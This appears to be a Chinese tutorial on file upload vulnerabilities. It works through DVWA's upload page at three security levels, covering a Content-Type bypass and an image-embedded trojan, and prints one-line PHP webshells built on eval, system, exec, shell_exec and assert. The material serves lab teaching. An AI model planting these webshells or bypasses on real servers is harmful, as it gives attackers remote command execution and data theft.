文件上传漏洞介绍:
正常的文件上传一般指图片、视频、文档等,web应用收集之后放入后台或者数据库存储,需要的时候再调用返回。
如果存在文件上传漏洞,黑客可以将恶意文件,比如php、jsp、asp等脚本文件上传到服务器,绕过web应用程序执行,效果相当于黑客直接拿到服务器的webshell,一旦黑客拿到webshell,则可以获取web应用的数据,删除web文件,甚至可以通过提权,进一步拿下整个服务器,还可以进行内网渗透。
文件上传漏洞和SQL注入漏洞攻击对象的区别:
- SQL注入漏洞攻击对象是数据库;
- 文件上传漏洞主要攻击服务器。
1. OWASP的文件上传漏洞
<使用OWASP的dvwa子页面中的Upload功能实现文件上传漏洞>
1.1 安全级别:low
安全级别为low下的后端代码查看。可见并为作任何的过滤,可以随意进行攻击。
新建post.php
脚本文件如下。
<?php
echo phpinfo()
?>
将该脚本文件上传。
得到url,将其替换掉原网址的#
,得到完整url链接:http://192.168.192.129/dvwa/hackable/uploads/post.php
即可获取后端的php信息。
1.2 安全级别:medium
安全级别为medium的在后端做了文件类型和文件大小的限制。
因此直接上传是不行的,我们需要用拦截工具拦截request请求,这里使用burpsuite拦截,拦截到的post请求中将Content-Type: application/octet-stream
修改为Content-Type: image/jpeg
。其余步骤与安全级别为low一致。
1.3 安全级别:high
安全级别为high的进行了文件名后缀限制以及文件大小限制。
因此适用于low和medium的方法在这里不生效。因此需要在上传的文件中附带木马。这里使用edjpgcom
软件生成一句话木马,然后上传,获得url,最后使用中国菜刀
软件解析url。
2. webshell
webshell介绍:
web后端的脚本语言一般情况下具备系统相关函数,用这些系统函数可以执行操作系统命令。如果攻击者将这些系统函数写入文件,并结合文件上传漏洞上传给web服务器,这个行为我们就称为网站挂马。
这些包含了系统函数的文件我们就称为webshell文件,根据功能级别分为大马和小马,例如一句话木马( 整个shell代码量只有一行 )就属于小马。
常见的php系统函数有eval
、system
、exec
、shell_exec
、assert
。下面就这几个函数进行示例。
2.1 eval函数
eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行。该函数也是国产知名shell管理工具中国菜刀使用的。
注意:eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)。
示例如下。
<?php eval($_POST['pass']); ?>
<?php eval($_REQUEST['pass']); ?>
2.2 system函数
system函数可以实现在php中执行shell命令。
<?php system($_POST['cmd']); ?>
<?php system($_REQUEST['cmd']); ?>
2.3 exec函数
exec函数用于执行系统命令。
<?php exec($_POST['cmd']); ?>
<?php exec($_REQUEST['cmd']); ?>
2.4 shell_exec函数
shell_exec函数用来执行系统命令。
<?php shell_exec($_POST['cmd']); ?>
<?php shell_exec($_REQUEST['cmd']); ?>
2.5 assert函数
assert函数是把字符串当作php代码来执行的。
<?php assert($_POST['cmd']); ?>
<?php assert($_REQUEST['cmd']); ?>
3. webshell管理工具
常见的webshell管理工具有:中国菜刀、C刀、寄生虫XISE、k8飞刀、weevely(Linux系统下)等。